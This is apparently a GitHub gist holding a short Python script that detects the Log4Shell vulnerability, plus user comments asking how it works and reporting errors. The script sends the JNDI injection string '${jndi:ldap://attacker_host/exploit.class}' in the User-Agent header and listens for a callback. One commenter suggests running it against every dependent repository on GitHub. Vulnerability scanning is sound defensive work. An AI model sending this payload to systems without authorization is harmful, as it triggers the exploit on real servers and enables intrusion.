-
-
Save byt3bl33d3r/46661bc206d323e6770907d259e009b6 to your computer and use it in GitHub Desktop.
#! /usr/bin/env python3 | |
''' | |
Needs Requests (pip3 install requests) | |
Author: Marcello Salvati, Twitter: @byt3bl33d3r | |
License: DWTFUWANTWTL (Do What Ever the Fuck You Want With This License) | |
This should allow you to detect if something is potentially exploitable to the log4j 0day dropped on December 9th 2021. | |
WARNING: This script is extremely naive in a lot of ways cause it was put together in 15 min. See comments below. | |
References: | |
- https://www.lunasec.io/docs/blog/log4j-zero-day/ | |
- https://github.com/tangxiaofeng7/apache-log4j-poc | |
- https://github.com/apache/logging-log4j2/pull/608 | |
''' | |
import logging | |
import requests | |
import socket | |
import argparse | |
import threading | |
import time | |
handler = logging.StreamHandler() | |
handler.setFormatter( | |
logging.Formatter( | |
style="{", | |
fmt="[{name}:{filename}] {levelname} - {message}" | |
) | |
) | |
log = logging.getLogger("log4jscanner") | |
log.setLevel(logging.DEBUG) | |
log.addHandler(handler) | |
def tcp_server(attacker_host): | |
_, PORT = attacker_host.split(':') | |
HOST = '' | |
PORT = int(PORT) | |
log.debug(f"Starting server on 0.0.0.0:{PORT}") | |
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: | |
s.bind((HOST, PORT)) | |
s.listen() | |
conn, addr = s.accept() | |
with conn: | |
log.debug(f"Connected by {addr}. If this is the same host you attacked its most likely vulnerable") | |
while True: | |
data = conn.recv(1024) | |
if not data: break | |
print(data.hex()) | |
def main(): | |
parser = argparse.ArgumentParser() | |
parser.add_argument('url', help='target http url') | |
parser.add_argument('--attacker-host', type=str, dest='attacker_host', default='127.0.0.1:1389', help="attacker's host:port ") | |
parser.add_argument('--timeout', type=int, dest='timeout', default=10, help='timeout to start listening') | |
args = parser.parse_args() | |
server_thread = threading.Thread(target=tcp_server, args=(args.attacker_host,)) | |
server_thread.setDaemon(True) | |
server_thread.start() | |
time.sleep(2) | |
try: | |
""" | |
Due of the nature of the exploit, any HTTP field could be used to exploit a vulnerable machine (as long as it's being logged on the affected host) | |
Here we're just injecting the string in the User-Agent field. | |
""" | |
requests.get( | |
args.url, | |
headers={'User-Agent': f'${{jndi:ldap://{args.attacker_host}/exploit.class}}'}, | |
verify=False | |
) | |
except requests.exceptions.ConnectionError as e: | |
log.error(f"HTTP connection to target URL error: {e}") | |
log.debug(f"Waiting {args.timeout} seconds for a response") | |
time.sleep(args.timeout) | |
if __name__ == "__main__": | |
main() |
@quiksilver66 The exploit works by triggering name resolution requests via JNDI to a machine controlled by the attacker, that will then respond with malicious payload. The python script takes two parameters: 1) url
- which specifies the target to check (and which, if affected, will then issue a DNS request to 2) attacker-host
- which the script spawns a server for in the tcp_server
function. So if you get the output from line 50 (and it is coming from the host in url
) - this strongly suggests that the connect was triggered by your request and thus the system might be vulnerable to the log4j exploits.
So if you don't get any more output than the one you posted - it then seems as if the checked system is a) not calling back or b) the system your run the script from is not reachable from the host of url
(due to firewalls or things like that). If you can be sure, that the tested host should be able to call back and it is not - you might be o.k.
@mh-weare Thank you so much for making that clear, really appreciate that Michael.
The system (i.e. url) I've tested (which has in fact another url ;-) is an internal server running external exposed Atlassian Jira/Confluence. But the system ist behind a palo alto firewall, and I suppose that the firewall was adopted by PA after getting aware of the log4j exploit, to prevent such communications. that's what one can find stated on the palo alto website, therefore that calms me down for the time now.
Stay healthy and safe
try it against all repos listed here: https://github.com/apache/log4j/network/dependents
Python 2.6.6
Traceback (most recent call last):
File "log4j_rce_check.py", line 21, in
import requests
ImportError: No module named requests
Nice! Thanks!
@boyke pip3 install requests
per line 4
Thanks, I took only the server part of your code and modified it to log to file. Pen-testers will make their own attacks as they go
I dont know why i got this error
File "log4j_checker.py", line 41
log.debug(f"Starting server on 0.0.0.0:9999")
how can we fix this and thank you 👍
First of all - thx for the script
Second - sorry - I have definitley no clue on behalf of python, but adore to have the option to check individual sites regarding beeing vulnerable to the log4j exploit.
I have installed python on my windows10 workstation, downloaded your script and executed it. That's what happens - and that leads me to the question, what would be the expected answer from the script if the webserver hosting the application is vulnerable - and what if not?
C:\Users\joerg\Python>python log4j_rce_check.py https://leckere.fritten.de
C:\Users\joerg\Python\log4j_rce_check.py:65: DeprecationWarning: setDaemon() is deprecated, set the daemon attribute instead
server_thread.setDaemon(True)
[log4jscanner:log4j_rce_check.py] DEBUG - Starting server on 0.0.0.0:1389
C:\Users\joerg\AppData\Local\Programs\Python\Python310\lib\site-packages\urllib3\connectionpool.py:1013: InsecureRequestWarning: Unverified HTTPS request is being made to host 'leckere.fritten.de'. Adding certificate verification is strongly advised. See: https://urllib3.readthedocs.io/en/1.26.x/advanced-usage.html#ssl-warnings
warnings.warn(
[log4jscanner:log4j_rce_check.py] ERROR - HTTP connection to target URL error: ('Connection aborted.', RemoteDisconnected('Remote end closed connection without response'))
[log4jscanner:log4j_rce_check.py] DEBUG - Waiting 10 seconds for a response
Any answer will be appreciated - thank you and stay safe
Joerg